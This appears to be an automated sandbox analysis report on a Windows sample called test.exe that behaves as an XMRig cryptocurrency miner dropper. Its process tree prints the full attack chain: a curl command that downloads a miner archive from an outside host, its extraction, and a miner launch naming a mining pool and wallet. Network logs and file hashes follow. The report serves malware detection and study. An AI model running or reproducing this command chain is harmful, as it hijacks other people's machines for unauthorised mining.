Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
11/03/2024, 21:08 UTC
240311-zy7ywsed31 1011/03/2024, 21:06 UTC
240311-zx53xagd73 1011/03/2024, 21:02 UTC
240311-zvwrfsec3x 1011/03/2024, 21:01 UTC
240311-ztxx5aeb9x 1011/03/2024, 20:59 UTC
240311-zs72psgc56 1011/03/2024, 20:57 UTC
240311-zrmpdaeb3v 1011/03/2024, 20:56 UTC
240311-zqzbsagb66 1011/03/2024, 20:55 UTC
240311-zqlexsgb55 1011/03/2024, 20:54 UTC
240311-zp4j4sgb43 1011/03/2024, 20:53 UTC
240311-zplz3agb32 10Analysis
-
max time kernel
1045s -
max time network
1054s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
11/03/2024, 21:02 UTC
General
-
Target
test.exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test.exe"C:\Users\Admin\AppData\Local\Temp\test.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ygDJvTwG.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
-
DNS1488.netlify.appRemote address:8.8.8.8:53Request1488.netlify.appIN AResponse1488.netlify.appIN A35.156.224.1611488.netlify.appIN A18.192.94.96 -
DNS136.32.126.40.in-addr.arpaRemote address:8.8.8.8:53Request136.32.126.40.in-addr.arpaIN PTRResponse
-
DNS209.205.72.20.in-addr.arpaRemote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTRResponse
-
GEThttps://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipRemote address:35.156.224.161:443RequestGET /xmrig-6.21.1-gcc-win64.zip HTTP/1.1
Host: 1488.netlify.app
User-Agent: curl/7.55.1
Accept: */*
ResponseHTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 4046
Cache-Control: public,max-age=0,must-revalidate
Cache-Status: "Netlify Edge"; hit
Content-Length: 3336525
Content-Type: application/zip
Date: Mon, 11 Mar 2024 21:03:30 GMT
Etag: "3f561091cdba4bace650b26717533c91-ssl"
Server: Netlify
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Nf-Request-Id: 01HRQN7RBPWARHA1FQ0Y3B6CCE
-
DNS241.154.82.20.in-addr.arpaRemote address:8.8.8.8:53Request241.154.82.20.in-addr.arpaIN PTRResponse
-
DNS161.224.156.35.in-addr.arpaRemote address:8.8.8.8:53Request161.224.156.35.in-addr.arpaIN PTRResponse161.224.156.35.in-addr.arpaIN PTRec2-35-156-224-161 eu-central-1compute amazonawscom
-
DNS211.178.17.96.in-addr.arpaRemote address:8.8.8.8:53Request211.178.17.96.in-addr.arpaIN PTRResponse211.178.17.96.in-addr.arpaIN PTRa96-17-178-211deploystaticakamaitechnologiescom
-
DNS211.178.17.96.in-addr.arpaRemote address:8.8.8.8:53Request211.178.17.96.in-addr.arpaIN PTR
-
DNS211.178.17.96.in-addr.arpaRemote address:8.8.8.8:53Request211.178.17.96.in-addr.arpaIN PTR
-
DNS26.35.223.20.in-addr.arpaRemote address:8.8.8.8:53Request26.35.223.20.in-addr.arpaIN PTRResponse
-
DNS11.2.37.23.in-addr.arpaRemote address:8.8.8.8:53Request11.2.37.23.in-addr.arpaIN PTRResponse11.2.37.23.in-addr.arpaIN PTRa23-37-2-11deploystaticakamaitechnologiescom
-
DNSxmr.2miners.comRemote address:8.8.8.8:53Requestxmr.2miners.comIN AResponsexmr.2miners.comIN A162.19.139.184
-
DNS184.139.19.162.in-addr.arpaRemote address:8.8.8.8:53Request184.139.19.162.in-addr.arpaIN PTRResponse184.139.19.162.in-addr.arpaIN PTRp062minerscom
-
DNS150.1.37.23.in-addr.arpaRemote address:8.8.8.8:53Request150.1.37.23.in-addr.arpaIN PTRResponse150.1.37.23.in-addr.arpaIN PTRa23-37-1-150deploystaticakamaitechnologiescom
-
DNS150.1.37.23.in-addr.arpaRemote address:8.8.8.8:53Request150.1.37.23.in-addr.arpaIN PTR
-
DNS86.23.85.13.in-addr.arpaRemote address:8.8.8.8:53Request86.23.85.13.in-addr.arpaIN PTRResponse
-
DNS18.31.95.13.in-addr.arpaRemote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTRResponse
-
DNS172.178.17.96.in-addr.arpaRemote address:8.8.8.8:53Request172.178.17.96.in-addr.arpaIN PTRResponse172.178.17.96.in-addr.arpaIN PTRa96-17-178-172deploystaticakamaitechnologiescom
-
DNS58.55.71.13.in-addr.arpaRemote address:8.8.8.8:53Request58.55.71.13.in-addr.arpaIN PTRResponse
-
DNS13.227.111.52.in-addr.arpaRemote address:8.8.8.8:53Request13.227.111.52.in-addr.arpaIN PTRResponse
-
DNS154.239.44.20.in-addr.arpaRemote address:8.8.8.8:53Request154.239.44.20.in-addr.arpaIN PTRResponse
-
DNS154.239.44.20.in-addr.arpaRemote address:8.8.8.8:53Request154.239.44.20.in-addr.arpaIN PTR
-
DNS133.211.185.52.in-addr.arpaRemote address:8.8.8.8:53Request133.211.185.52.in-addr.arpaIN PTRResponse
-
DNS14.173.189.20.in-addr.arpaRemote address:8.8.8.8:53Request14.173.189.20.in-addr.arpaIN PTRResponse
-
35.156.224.161:443https://1488.netlify.app/xmrig-6.21.1-gcc-win64.ziptls, http
HTTP Request
GET https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipHTTP Response
200 -
162.19.139.184:2222xmr.2miners.com
-
8.8.8.8:531488.netlify.appdns
DNS Request
1488.netlify.app
DNS Response
35.156.224.16118.192.94.96
-
8.8.8.8:53136.32.126.40.in-addr.arpadns
DNS Request
136.32.126.40.in-addr.arpa
-
8.8.8.8:53209.205.72.20.in-addr.arpadns
DNS Request
209.205.72.20.in-addr.arpa
-
8.8.8.8:53241.154.82.20.in-addr.arpadns
DNS Request
241.154.82.20.in-addr.arpa
-
8.8.8.8:53161.224.156.35.in-addr.arpadns
DNS Request
161.224.156.35.in-addr.arpa
-
8.8.8.8:53211.178.17.96.in-addr.arpadns
DNS Request
211.178.17.96.in-addr.arpa
DNS Request
211.178.17.96.in-addr.arpa
DNS Request
211.178.17.96.in-addr.arpa
-
8.8.8.8:5326.35.223.20.in-addr.arpadns
DNS Request
26.35.223.20.in-addr.arpa
-
8.8.8.8:5311.2.37.23.in-addr.arpadns
DNS Request
11.2.37.23.in-addr.arpa
-
8.8.8.8:53xmr.2miners.comdns
DNS Request
xmr.2miners.com
DNS Response
162.19.139.184
-
8.8.8.8:53184.139.19.162.in-addr.arpadns
DNS Request
184.139.19.162.in-addr.arpa
-
8.8.8.8:53150.1.37.23.in-addr.arpadns
DNS Request
150.1.37.23.in-addr.arpa
DNS Request
150.1.37.23.in-addr.arpa
-
8.8.8.8:5386.23.85.13.in-addr.arpadns
DNS Request
86.23.85.13.in-addr.arpa
-
8.8.8.8:5318.31.95.13.in-addr.arpadns
DNS Request
18.31.95.13.in-addr.arpa
-
8.8.8.8:53172.178.17.96.in-addr.arpadns
DNS Request
172.178.17.96.in-addr.arpa
-
8.8.8.8:5358.55.71.13.in-addr.arpadns
DNS Request
58.55.71.13.in-addr.arpa
-
8.8.8.8:5313.227.111.52.in-addr.arpadns
DNS Request
13.227.111.52.in-addr.arpa
-
8.8.8.8:53154.239.44.20.in-addr.arpadns
DNS Request
154.239.44.20.in-addr.arpa
DNS Request
154.239.44.20.in-addr.arpa
-
8.8.8.8:53133.211.185.52.in-addr.arpadns
DNS Request
133.211.185.52.in-addr.arpa
-
8.8.8.8:5314.173.189.20.in-addr.arpadns
DNS Request
14.173.189.20.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
421B
MD567d11b392feb0ad59fc11ff3e79dfeee
SHA17df5785988cb76c4893773614572c93baaa18717
SHA25669bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
SHA51250835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11
-
Filesize
3.2MB
MD5e27f13ffb2989f290f16f8edd1c80171
SHA1352a34a66152f4998b8d9152356528f980de2ef5
SHA256fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9
SHA512549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a
-
Filesize
2.1MB
MD58591c0b78be80c7dd34dc963b1cdbb92
SHA14c7ba843d55982bc7444422ecce87a812e8b8ca3
SHA256a5cb4cd5534f1eeed17af74638e46d033bf52ec6896a088ba5e5c229b99f14fe
SHA5125ab7058e24a3a2697c5d156783837d40ab3fc91adf31a6d49660d9f981daf0f8027a84b64c1144d256cb427bdcce1302432d8f6028f5af2e08446220e137dd5b
-
Filesize
32KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
128KB
-
Filesize
256KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB